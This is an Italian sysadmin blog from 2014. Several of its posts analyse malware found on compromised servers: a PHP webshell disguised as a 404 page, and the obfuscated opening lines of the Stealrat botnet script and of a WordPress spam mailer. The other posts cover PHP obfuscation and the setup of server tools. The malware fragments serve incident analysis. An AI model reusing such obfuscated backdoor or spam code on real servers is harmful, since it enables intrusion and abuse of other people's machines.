martedì 30 settembre 2014

404.php


Frugando su un server alla ricerca di anomalie mi e' caduto l'occhio su un file denominato 404.php in una posizione anomala

Richiamato dal browser assomiglia ad una normale pagina di errore 404 (File not found) di Apache ma la dimensione del file era decisamente anomala per un messaggio cosi' corto


Con un po' di attenzione al di sotto delle scritte c'erano anche 4 pallini che hanno attirato la mia attenzione
Aprendo il codice Php era evidente che non si trattava di un errore 404 ma di un malware. In pratica i pallini indicano il campo di inserimento di una password attraverso la quale si accede ad una shell in Php

La password e' gia' crittata in md5 e non ho modo di conoscerla ma avendo il sorgente e' facile sostituire la stringa md5 con la stringa md5 di una propria password

Fatto cio' si accede ad una finestra di amministraizone che mette a nudo la configurazione della macchina per l'attaccante
Nella finestra sottostante viene mostrato il file /etc/passwd


e' altresi' disponibile un file manager che permette di navigare tutto il filesystem (a meno di non mettere il webserver in chroot)


e' possibile effettuare una scansione del file system alla ricerca di cattive configurazioni


c'e' anche una funzione che apre una backdoor su una porta a scelta per esporre una shell

In un buona sostanza un pessimo ospite da avere su una propria macchina

mercoledì 24 settembre 2014

GoAccess su Debian

 Se e' venuto a noia leggere i log di Apache mediante

tail -f /var/log/apache2/access.log


puo' essere utile il programma goaccess che mostra le informazioni in modo piu' strutturato e leggibile

Per l'installazione da sorgenti si scarica l'ultimo pacchetto tar.gz da questo link 

si procede quindi a risolvere le dipendenze

apt-get install libgeoip-dev libncursesw5-dev pkg-config libglib2.0-dev

e si compila

./configure --enable-geoip --enable-utf8
make
make install


per lanciare il programma si deve indicare la posizione del file di log

goaccess -f /var/log/apache2/access.log

la prima schermata permette di scegliere il formato dati del file di log (in Debian e' corretta la prima opzione)



a questo punto si puo' vedere il traffico in tempo reale sul server web


mercoledì 17 settembre 2014

Offuscare codice Php

Visti i due precedenti post mi sono messo a dare un'occhiata alla possibilita' di offuscare il codice Php. Pur sapendo che esisteva la possibilita' non ho mai rilasciato per lavoro sorgenti offuscati ma e' una funzione che potrebbe essere utile per non salvare in chiaro i dati di login di pagine di autenticazione

Per esempio si puo' offuscare il solo file delle variabili per l'autenticazione
In chiaro ed in modo molto semplice si potrebbe scrivere
test.php
---------------------------------------------
<?
include("dati.php");
print $user;
print "<br>";
print $password;
?>
---------------------------------------------
dati.php
---------------------------------------------
<?
$user = "Luca";
$password = "password";
?>
---------------------------------------------

usando il servizio di http://www.phpencode.org/#main  si puo' offuscare il file dati.php in modo da nascondere le credenziali.

il nuovo file (dati2.php) risulta essere cambiato cosi'
(attenzione per funzionare deve essere copiato ed incollato pari pari dal sito)
---------------------------------------------
<?php /*** PHP Encode v1.0 by zeura.com ***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=908117b002871dc8f72a4e70abf1f93dff6ecad2UyktTi1SsFVQ8ilNTlSy5uVSKUgsLi7PL0oBCcLYStYA
---------------------------------------------

modificando il file di prova per includere il file offuscato 
test2.php
---------------------------------------------
<?
include("dati2.php");
print $user;
print "<br>";
print $password;
?>
---------------------------------------------

si ha il risultato atteso ovvero
---------------------------------------------
Luca
password
---------------------------------------------

scrivendo in modo maggiormente leggibile il codice dati2.php si capisce perche' non puo' essere modificato e si osserva maggiormente il comportamento dell'offuscatore che usa sostanzialmente usa sequenza di eval e base64_decode per offuscare le variabili. Interessante anche la direttiva _halt_compiler ed il codice appeso dietro la parte che il compilatore non interpretera'
---------------------------------------------
<?php 

/*** PHP Encode v1.0 by zeura.com ***/

 $XnNhAWEnhoiqwciqpoHH=file(__FILE__);

 eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));

 eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));

 eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));

 __halt_compiler();

 aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=908117b002871dc8f72a4e70abf1f93dff6ecad2UyktTi1SsFVQ8ilNTlSy5uVSKUgsLi7PL0oBCcLYStYA

Stealrat BotNet in Php su Wordpress

Sulla stessa macchina in cui era presente quanto descritto a questo post al momento di avviare apache venivano segnalati anche questi errori

Tue Sep 16 16:25:18 2014] [error] [client xxx.xxx.xxx.xxx] PHP Warning:  file_exists(): open_basedir restriction in effect. File(/var/www/vhosts/xxxxxxxx/httpdocs/wp-content/wptouch-data/themes/configOzP.php/readme.txt) is not within the allowed path(s): (/var/www/vhosts/xxxxxxxxxx/httpdocs/:/tmp/) in /var/www/vhosts/xxxxxxxxxxxxx/wp-content/plugins/wptouch-pro-3/core/class-wptouch-pro.php on line 1209

(Sono state omesse le informazioni sensibili)

andando a dare un'occhiata al plugin wptouch nel file indicato si trova il codice sottoriportato (riporto al solito le prime righe per evitare usi illeciti)
Anche in questo caso ci si trova davanti a codice Php offuscato e si alza la soglia di attenzione
--------------------------------------
<?php
@error_reporting(0); 
@ini_set(chr(101).chr(114).'ror_log',NULL); 
@ini_set('log_errors',0); 
if (count($_POST) < 2) 

die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321)); 

$v5031e998 = false; 
foreach (array_keys($_POST) as $v3c6e0b8a) 
{ switch ($v3c6e0b8a[0]) 
{ case chr(108): 
$vd56b6998 = $v3c6e0b8a; break; 
case chr(100): $v8d777f38 = $v3c6e0b8a; break; 
case chr(109): $v3d26b0b1 = $v3c6e0b8a; break; 
case chr(101); $v5031e998 = true; 
break; 


if ($vd56b6998 === '' || $v8d777f38 === '') die(PHP_OS.chr(49).chr(49).chr(43).md5(0987654321)); 
$v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disable_functions')); 
$v01b6e203 = @$_POST[$vd56b6998]; 
$v8d777f38 = @$_POST[$v8d777f38]; 
$v3d26b0b1 = @$_POST[$v3d26b0b1]; 
if ($v5031e998) 
{ $v01b6e203 = n9a2d8ce3($v01b6e203); 
 $v8d777f38 = n9a2d8ce3($v8d777f38); 
 $v3d26b0b1 = n9a2d8ce3($v3d26b0b1); 

$v01b6e203 = urldecode(stripslashes($v01b6e203)); 
$v8d777f38 = urldecode(stripslashes($v8d777f38)); 
$v3d26b0b1 = urldecode(stripslashes($v3d26b0b1)); 
if (strpos($v01b6e203, '#',1) != false) 

$v16a9b63f = preg_split('/#/', $v01b6e203); 
$ve2942a04 = count($v16a9b63f); 
} else { 
$v16a9b63f[0] = $v01b6e203; 
$ve2942a04 = 1; 
--------------------------------------

in questo caso la ricerca su Internet riporta molti riferimenti con addirittura una sorta di manuale di istruzione pubblicato da TrendMicro. Si tratta di uno script da BotNet denominato Stealrat nato per fare sostanzialmente spamming e pishing

Spam robot in Php su Wordpress

Ieri un amico mi ha chiamato perche' il suo server web era giu' senza un motivo evidente. Si tratta di una installazione non proprio banale di wordpress (con un po' di plugin attivi)

Guardando access_log le ultime 350 righe riportavano il seguente codice
[16/Sep/2014:14:40:15 +0200] "POST /wp-content/plugins/ubermenu/standard/timthumb/stats.php HTTP/1.1" 200 522 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.6)"

l'attenzione si e' quindi focalizzata sul file stats.php del plugin ubermenu.Fra le altre cose nel codice di UberMenu (scaricato dal sito ufficiale) non e' presente nessun file stat.php nella sottodirectory timthumb

Riporto di seguito le prime righe (in modo da non diffondere il codice completo)
E' evidente anche all'occhio piu' inesperto l'offuscamento del codice Php realizzato popolando un arrary ($i59) con un serie di caratteri e componendo in seguito i comandi usando la concatenazione di caratteri da questo array. Alcune di queste variabili $GLOBALS definiscono nomi di funzioni mentre in altri casi compongono i parametri da passare alle funzioni

------------------------------------------------------
<?
$i59="Euc<v#`5R1s?j{\nJnd8,KA>}wIQ\r7gp;^U0\"YBSH@!=&MOG\\Vlaz\$2mtxLFDX[Zb:f6)~h+%'_k/iyN4CTer.|(3]-\tq9*o PW"; 
$GLOBALS['kyvlc2'] = $i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[73].$i59[83].$i59[82].$i59[30].$i59[94].$i59[83].$i59[55].$i59[76].$i59[16].$i59[29]; 
$GLOBALS['osuwk64'] = $i59[76].$i59[16].$i59[76].$i59[73].$i59[10].$i59[82].$i59[55]; 
$GLOBALS['mrkzp11'] = $i59[63].$i59[2].$i59[55].$i59[76].$i59[94].$i59[53].$i59[28]; 
$GLOBALS['olhjz88'] = $i59[54].$i59[17].$i59[7]; 
$GLOBALS['gtwpr99'] = $i59[56].$i59[50].$i59[29].$i59[24].$i59[91].$i59[9].$i59[92]; 
$GLOBALS['azxqi23'] = $i59[65].$i59[10].$i59[1].$i59[56].$i59[1].$i59[9].$i59[53]; 
$GLOBALS['ttins71'] = $i59[10].$i59[49].$i59[49].$i59[55].$i59[24].$i59[9].$i59[28]; 
$GLOBALS['biplj38'] = $i59[69].$i59[74].$i59[63].$i59[49].$i59[91].$i59[18].$i59[18]; 
$GLOBALS['fufff37'] = $i59[2].$i59[83].$i59[16].$i59[54].$i59[10].$i59[79].$i59[34]; 
$GLOBALS['llsic87'] = $i59[30].$i59[74].$i59[24].$i59[56].$i59[29].$i59[53].$i59[53]; 
$GLOBALS['npqfu35'] = $i59[29].$i59[49].$i59[56].$i59[82].$i59[56].$i59[92].$i59[53]; 
$GLOBALS['kgedf91'] = $i59[77].$i59[29].$i59[56].$i59[55].$i59[65].$i59[7].$i59[53]; 
$GLOBALS['tscso85'] = $i59[10].$i59[55].$i59[83].$i59[49].$i59[82].$i59[16]; //1ayOin
$GLOBALS['dkzox36'] = $i59[2].$i59[69].$i59[83]; //uby
$GLOBALS['nqkyz54'] = $i59[94].$i5mrkzp119[83].$i59[17]; //]yj
$GLOBALS['bbolh46'] = $i59[63].$i59[50].$i59[10].$i59[82].$i59[66].$i59[79].$i59[73].$i59[82].$i59[16].$i59[2].$i59[94].$i59[17].$i59[82]; 
$GLOBALS['pzfzn51'] = $i59[2].$i59[94].$i59[1].$i59[16].$i59[55]; 
$GLOBALS['goxku40'] = $i59[65].$i59[1].$i59[16].$i59[2].$i59[55].$i59[76].$i59[94].$i59[16].$i59[73].$i59[82].$i59[56].$i59[76].$i59[10].$i59[55].$i59[10]; 
$GLOBALS['qllnp80'] = $i59[54].$i59[50].$i59[76].$i59[49]; 
$GLOBALS['oewlq88'] = $i59[65].$i59[12].$i59[2].$i59[24].$i59[17].$i59[92]; 
$GLOBALS['inaco6'] = $i59[65].$i59[29].$i59[82].$i59[55].$i59[10]; 
$GLOBALS['fbigd92'] = $i59[29].$i59[82].$i59[55].$i59[69].$i59[94].$i59[10].$i59[55].$i59[63].$i59[77].$i59[16].$i59[50].$i59[54].$i59[82]; 
$GLOBALS['szwwc12'] = $i59[65].$i59[10].$i59[94].$i59[2].$i59[74].$i59[94].$i59[30].$i59[82].$i59[16]; 
$GLOBALS['ifjvc34'] = $i59[30].$i59[65].$i59[10].$i59[94].$i59[2].$i59[74].$i59[94].$i59[30].$i59[82].$i59[16]; 
$GLOBALS['eypvx47'] = $i59[10].$i59[55].$i59[83].$i59[82].$i59[50].$i59[54].$i59[73].$i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[49].$i59[76].$i59[82].$i59[16].$i59[55]; 
$GLOBALS['ewgqn30'] = $i59[65].$i59[30].$i59[1].$i59[55].$i59[10]; 
$GLOBALS['qlkol47'] = $i59[55].$i59[83].$i59[76].$i59[54]; 
$GLOBALS['wwxez32'] = $i59[30].$i59[83].$i59[82].$i59[29].$i59[73].$i59[83].$i59[82].$i59[30].$i59[49].$i59[50].$i59[2].$i59[82]; 
$GLOBALS['xumld93'] = $i59[65].$i59[2].$i59[49].$i59[94].$i59[10].$i59[82]; 
$GLOBALS['sfroq33'] = $i59[24].$i59[65].$i59[77].$i59[65].$i59[51].$i59[18].$i59[53]; 
$GLOBALS['snkbr7'] = $i59[55].$i59[76].$i59[54].$i59[82]; 
$GLOBALS['gbiun57'] = $i59[24].$i59[17].$i59[74].$i59[50].$i59[77].$i59[28]; 
$GLOBALS['vfpnn60'] = $i59[50].$i59[83].$i59[83].$i59[50].$i59[77].$i59[73].$i59[10].$i59[82].$i59[50].$i59[83].$i59[2].$i59[69]; 
$GLOBALS['slvul93'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[49].$i59[94].$i59[10].$i59[82]; 
$GLOBALS['abwqf91'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[83].$i59[82].$i59[50].$i59[55].$i59[82]; 
$GLOBALS['wjevo71'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[10].$i59[82].$i59[55].$i59[73].$i59[16].$i59[94].$i59[16].$i59[63].$i59[49].$i59[94].$i59[2].$i59[74]; 
$GLOBALS['zqewi88'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[94].$i59[16].$i59[16].$i59[82].$i59[2].$i59[55]; 
$GLOBALS['syafl23'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[49].$i59[50].$i59[10].$i59[55].$i59[73].$i59[82].$i59[83].$i59[83].$i59[94].$i59[83]; 
$GLOBALS['mhzfy25'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[10].$i59[82].$i59[49].$i59[82].$i59[2].$i59[55]; 
$GLOBALS['rmuvr11'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[83].$i59[82].$i59[50].$i59[17]; 
$GLOBALS['tgaup44'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[24].$i59[83].$i59[76].$i59[55].$i59[82]; 
$GLOBALS['qihri77'] = $i59[2].$i59[49].$i59[94].$i59[10].$i59[82].$i59[38].$i59[94].$i59[2].$i59[74]; 
$GLOBALS['bavbu3'] = $i59[17].$i59[50].$i59[55].$i59[82]; 
$GLOBALS['vgyag20'] = $i59[10].$i59[55].$i59[83].$i59[73].$i59[83].$i59[82].$i59[30].$i59[49].$i59[50].$i59[2].$i59[82]; 
$GLOBALS['rssnp53'] = $i59[30].$i59[83].$i59[82].$i59[29].$i59[73].$i59[54].$i59[50].$i59[55].$i59[2].$i59[69]; 
$GLOBALS['bosbj25'] = $i59[1].$i59[2].$i59[65].$i59[76].$i59[83].$i59[10].$i59[55]; 
$GLOBALS['eebyx59'] = $i59[76].$i59[16].$i59[76].$i59[73].$i59[29].$i59[82].$i59[55]; 
$GLOBALS['ltkgi30'] = $i59[29].$i59[82].$i59[55].$i59[54].$i59[56].$i59[83].$i59[83]; 
$GLOBALS['veudg88'] = $i59[50].$i59[83].$i59[83].$i59[50].$i59[77].$i59[73].$i59[74].$i59[82].$i59[77].$i59[10]; 
$GLOBALS['ugeiv74'] = $i59[54].$i59[76].$i59[16]; 
$GLOBALS['vkxhv92'] = ${$i59[73].$i59[96].$i59[45].$i59[38].$i59[81]}; 
$GLOBALS['gpcou63'] = $i59[30].$i59[30].$i59[1].$i59[91].$i59[17].$i59[28].$i59[66]; 
$GLOBALS['kkndw71'] = $i59[30].$i59[83].$i59[82].$i59[29].$i59[73].$i59[10].$i59[30].$i59[49].$i59[76].$i59[55]; 
$GLOBALS['knpxe74'] = $i59[63].$i59[50].$i59[10].$i59[82].$i59[66].$i59[79].$i59[73].$i59[17].$i59[82].$i59[2].$i59[94].$i59[17].$i59[82]; 
$GLOBALS['ywanc2'] = $i59[1].$i59[83].$i59[49].$i59[17].$i59[82].$i59[2].$i59[94].$i59[17].$i59[82]; 
$GLOBALS['ggbdg61'] = $i59[10].$i59[55].$i59[83].$i59[76].$i59[30].$i59[10].$i59[49].$i59[50].$i59[10].$i59[69].$i59[82].$i59[10];
@$GLOBALS['kyvlc2'](NULL);
@$GLOBALS['osuwk64']($i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[73].$i59[49].$i59[94].$i59[29],NULL);
@$GLOBALS['osuwk64']($i59[49].$i59[94].$i59[29].$i59[73].$i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[10],0);
$vxlcl82 = 
array( $i59[17].$i59[50].$i59[55].$i59[50].$i59[81].$i59[94] => "",
   $i59[65].$i59[83].$i59[94].$i59[54].$i59[57].$i59[94].$i59[29].$i59[76].$i59[16] => "",
   $i59[65].$i59[83].$i59[94].$i59[54].$i59[78].$i59[50].$i59[54].$i59[82] => "",
   $i59[10].$i59[1].$i59[63].$i59[12].$i59[81].$i59[82].$i59[54].$i59[30].$i59[49] => "",
   $i59[63].$i59[94].$i59[17].$i59[77].$i59[81].$i59[82].$i59[54].$i59[30].$i59[49] => "",
   $i59[69].$i59[94].$i59[10].$i59[55].$i59[58].$i59[83].$i59[94].$i59[54] => "",
   $i59[76].$i59[16].$i59[76].$i59[55].$i59[16].$i59[63].$i59[10].$i59[94].$i59[2].$i59[74] => FALSE,
   $i59[76].$i59[16].$i59[76].$i59[55].$i59[10].$i59[94].$i59[2].$i59[74] => FALSE,
   $i59[76].$i59[16].$i59[76].$i59[55].$i59[54].$i59[50].$i59[76].$i59[49] => FALSE,);

if (FALSE == $GLOBALS['mrkzp11']($i59, $vxlcl82)) 
{
echo PHP_OS.$i59[70].$GLOBALS['olhjz88'](0987654321).$i59[70].$i59[34].$i59[9].$i59[70].$i59[61].$i59[61].$i59[88].$i59[88].$i59[14];
exit;
}
$unahu45 = array();

-------------------------------------------------------------------------------------
Cercando su internet non si trovano molte informazioni a riguardo (a parte questo link  link disattivato) ma con un po' piu di attenzione si arriva ad una pagina di PasteBin (che non linko) che riporta il codice non offuscato
Si tratta di mail script in Php di circa 500 righe.
Per esempio riporto solo la definizione di un array
------------------------------------
$vxlcl82 = array(
    "dataTo" => "",
    "fromLogin" => "",
    "fromName" => "",
    "subjTempl" => "",
    "bodyTempl" => "",
    "hostFrom" => "",
    "initnbsock" => FALSE,
    "initsock" => FALSE,
    "initmail" => FALSE
);
------------------------------------

 La macchina era quindi impegnata a fare spam e metteva in crisi le poche risorse disponibili

martedì 16 settembre 2014

Awstats su CentOS 7


L'installazione di Awstats su CentOS 7 non e' proprio lineare a causa del fatto che non e' pacchettizzato in yum e per la presenza di SeLinux attivo sulla macchina

Si parte quindi scaricando l'rpm da http://www.awstats.org/#DOWNLOAD (la versione stable attuale e' la 7.3) e si installa con

rpm-UHV awstats-7.3-1.noarch.rpm

(attenzione a risolvere la dipendenza con perl)

i file di riferimento sono installati in /usr/local/awstats, nella sottodirectory wwwroot si trova il lato web con la directory cgi-bin dove risiede il file awstast.pl mentre in tools
in /etc/httpd/conf.d/awstats.conf si trova la configurazione legata ad Apache

a questo punto si lancia il file awstats_configure.pl (in tools) per creare i file di configurazione che si troveranno in /etc/awstats. A questo punto c'e' da indicare la posizione del file di log degli accessi di Apache  (/var/log/httpd/access_log) ed il nome del dominio da monitorare

si crea poi una directory dove contenere i database per Awstats (di default sono ubicati /var/lib/awstats ma in questo posizione SeLinux impedisce ad Apache di leggerli per cui e' meglio scegliere una posizione accessibile)

per aggiornare le statistiche si deve lanciare il comando
/usr/local/awstats/wwwroot/cgi-bin/awstats.pl -update -config=miosito

mentre i risultati possono essere visti a video allì'indirizzo
http://miosito/awstats/awstats.pl?config=LGS2

l'aggiornamento delle statistiche non e' automatico ed e' necessario creare una attivita' di cron per lanciare l'aggiornamento del database di awstats

per completare i riferimenti su SeLinux devono essere impostato anche il seguente comandi
chcon -t httpd_sys_script_exec_t wwwroot/cgi-bin/awstats.pl


per ulteriori riferimenti seguire il link

Mysql Mirroring su Debian

Il problema: creare due database su due server differenti (master 192.168.1.1 e slave 192.168.1.2) in cui il secondo risulta essere la copia del primo
Si parte dal presupposto che entrambe abbiamo mysql installato (apt-get install mysql-server mysql-client) ed in funzione




Per la configurazione di base di Debian la porta 3306 risulta filtrata per cui sulla macchina master e' necessario modificare le regole di iptables. Per non abbassare troppo la guardia la porta 3306 e' aperta solo per le connessioni che provengono dallo slave

/sbin/iptables -A INPUT -i eth0 -s 192.168.1.1 -p tcp --destination-port 3306 -j ACCEPT
a questo punto ci sono due sistemi (si parte considerando database vuoti)

Sistema completo

Macchina Master
si edita il file /etc/mysql/my.cnf modificando
---------------------------------
bind-address = 192.168.1.1
server-id = 1 (basta decommentare)
log_bin = /var/log/mysql/mysql-bin.log (basta decommentare)
binlog_do_db = mirrdatabase (e' il nome del database su cui fare mirroring
---------------------------------

si riavvia il servizio mysql e  si entra in shell mysql (mysql -u root -p). 
Si crea un database 
CREATE DATABASE mirrdatabase;

A questo punto si crea un utente (slave_user) con password con privilegi di replica 

GRANT REPLICATION SLAVE ON *.* TO 'slave_user'@'%' IDENTIFIED BY 'password';
FLUSH PRIVILEGES;

a questo punto si digita il comando 
SHOW MASTER STATUS;
che risponde qualcosa di simile a questo
+------------------+----------+--------------+------------------+
| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+----------+--------------+------------------+
| mysql-bin.000001 |      1080| mirrdatabase |                  |
+------------------+----------+--------------+------------------+
1 row in set (0.00 sec)
si annotino il numero di posizione ed il file perche' serviranno per la configurazione dello slave

Macchina Slave
si edita il file /etc/mysql/my.cnf modificando
---------------------------------
server-id = 2 
relay-log = /var/log/mysql/mysql-relay-bin.log
log_bin = /var/log/mysql/mysql-bin.log (basta decommentare)
binlog_do_db = mirrdatabase (e' il nome del database su cui fare mirroring
---------------------------------
si riavvia il servizio mysql e si entra in shell mysql (mysql -u root -p). e si crea il database
CREATE DATABASE mirrdatabase;


si digita quindi
CHANGE MASTER TO MASTER_HOST='192.168.1.1',MASTER_USER='slave_user', MASTER_PASSWORD='password', MASTER_LOG_FILE='mysql-bin.000001', MASTER_LOG_POS= 1080;

i valori in giallo sono ricopiati da quelli del master. A questo punto si attiva la replicazione (per essere sicuri che ci sia connessione tra le due macchine puo' essere comodo prima verificare con il comando mysql -h 192.168.1.1 -u slave_user -p che ci sia accesso alla shell di mysql)
Si avvia quindi la replicazione con il seguente comando

START SLAVE;
a questo punto tutti i comandi eseguiti sulla macchina Master saranno replicati sulla macchina Slave compresi quelli di creazione di tabelle o popolazione dei dati


Sistema speditivo
Con il metodo speditivo e' necessario che sulle due macchine siano presenti e gia' configurati database e strutture tabelle identiche. Per popolare i dati si puo' usare uno script Php con due connessioni (una verso localhost, l'altra verso la macchina di copia)

<?php 
$dbmaster = 'localhost'; 
$dbusermaster = 'root1'; 
$dbpassmaster = 'password1'; 
$dbslave = '192.168.1.2'; 
$dbuserslave = 'root2'; 
$dbpassslave = 'password2'; 


$conn_master = mysql_connect($dbmaster, $dbusermaster, $dbpassmaster); 
if(! $conn_master ) 
      { 
      die('Could not connect: ' . mysql_error()); 
      } 
$conn_slave = mysql_connect($dbslave, $dbuserslave, $dbpassslave); 
if(! $conn_slave ) 
      { 
      die('Could not connect: ' . mysql_error()); 
      } 



$sql = 'INSERT INTO employee '. '(emp_name,emp_address, emp_salary, join_date) '. 'VALUES ( "guest", "XYZ", 2000, NOW() )'; 
mysql_select_db('mirrdatabase'); 

$retval = mysql_query( $sql, $conn_master ); 
if(! $retval ) 
      { 
      die('Could not enter data in master: ' . mysql_error()); 
      } 

$retval2 = mysql_query( $sql, $conn_slave ); 
if(! $retval2 ) 
      { 
      die('Could not enter data in slave : ' . mysql_error()); 
      } 

echo "Entered data successfully\n"; 
mysql_close($conn_master); 
mysql_close($conn_slave); 
?>

lunedì 8 settembre 2014

Wget e tumblr


Su tumblr ci sono delle spettacolari gallerie di immagini ed alcune volte viene voglia di clonare un sito.

Villeneuve

per farlo in modo automatico e' utile usare wget (sostituire la parte in giallo con il sito preferito)

wget -H -N -k -p -r -Dmedia.tumblr.com,fuckyeah-formula1.tumblr.com -U "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110613 Firefox/6.0a2" http://fuckyeah-formula1.tumblr.com/

Proteggere awstats con .htaccess su Centos 7



Per proteggere con password mediante il file .htaccess le statistiche di awstats si inizia configurando Apache e settando la directory che si intende proteggere nel file /etc/httpd/conf.d/awstats
---------------------------------------------------
<Directory /usr/local/awstats/wwwroot>
DirectoryIndex awstats.pl 
Options ExecCGI 
AllowOverride AuthConfig 
Require all granted
Allow from all 
</Directory>
---------------------------------------------------

si riavvia il servizio
systemctl restart httpd.service 

poi si imposta un file con la password
con il comando seguente si setta la password per l'utente luca nel file /var/ww/secure/pass_apache

htpasswd -c /home/secure/pass_apache luca
con Selinux attivato e' importante che il file contenente i file delle password si trovi nella sottodirectory /var/www/ (pena il fatto che Apache risponda con un errore 500)
per questo motivo ho creato una directory /var/www/secure ed ho inserito qui il file delle password

per essere sicuri sui permessi
chown apache:apache /var/www/secure/pass_apache
chmod 0660 /home/secure/apasswords

infine si crea il file .htaccess in /usr/local/awstats/wwwroot/cgi-bin

---------------------------------------------------
AuthType Basic 
AuthName "Restricted Access" 
AuthUserFile /var/www/secure/pass_apache 
Require user luca
---------------------------------------------------

giovedì 4 settembre 2014

Monitorix su Debian e CentOS

Sempre per il motivo che sto diventando pigro, avevo bisogno di un sistema semplice per monitorare lo stato di un server da Web.Senza scomodare Nagios, una soluzione che ho trovato carina e' quella di installare Monitorix





Debian
Per l'installazione su Debian la cosa piu' comoda non e' fare affidamento al repository non ufficiale quanto usare l'installazione da .deb

prima di scarichino i pacchetti delle dipendenze con
apt-get install rrdtool perl libwww-perl libmailtools-perl libmime-lite-perl librrds-perl libdbi-perl libxml-simple-perl libhttp-server-simple-perl libconfig-general-perl libio-socket-ssl-perl

ed in seguito si scarica il .deb installando con 
dpkg -i monitorix_3.6.0-izzy1_all.deb

adesso si puo' avviare il service con 
service monitorix start

e puntare il browser su 
http://localhost:8080/monitorix



CentOS 7
Anche su CentOS si deve procedere con l'installazione manuale mediante

yum install rrdtool rrdtool-perl perl-libwww-perl perl-MailTools perl-MIME-Lite perl-CGI perl-DBI perl-XML-Simple perl-Config-General perl-HTTP-Server-Simple perl-IO-Socket-SSL
poi si scarica l'rpm http://www.monitorix.org/monitorix-3.6.0-1.src.rpm e si installa come 
rpm -ivh http://www.monitorix.org/monitorix-n.n.n-1.noarch.rpm

come nel caso precedente si avvia il servizio
il problema con CentOS 7 e' che la porta 8080 e filtrata di default per cui si deve aggiungere la regola
firewall-cmd --zone=public --add-port=8080/tcp

deve essere inoltre modificato il file di configurazione perche' il nome dell'interfaccia di rete di default su CentOS non e' eth0 ma enp3s0

mercoledì 3 settembre 2014

Security update automatico su Debian e CentOS

Dato che sono diventato pigro ed i server sono aumentati ho deciso di mettere l'aggiornamento automatico sulle macchine CentOS e Debian. Cio' che volevo evitare usando un sistema automatico era quello di avere aggiornamenti non di sicurezza che possono compromettere le applicazioni in uso
Con l'ultima versione di CentOS7 e qualche modifica su Debian adesso e' decisamente fattibile

CentOS
per attivare l'aggiornamento automatico su CentOS si deve installare il pacchetto yum-cron
yum install yum-cron

la configurazione si effettua mediante /etc/yum/yum-cron.conf
l'aspetto nuovo di CentOs 7 e' la possibilita' di selezionare l'aggiornamento dei soli pacchetti di sicurezza modificando update_cmd
Per l'installazione automatico si porta su yes apply_updates

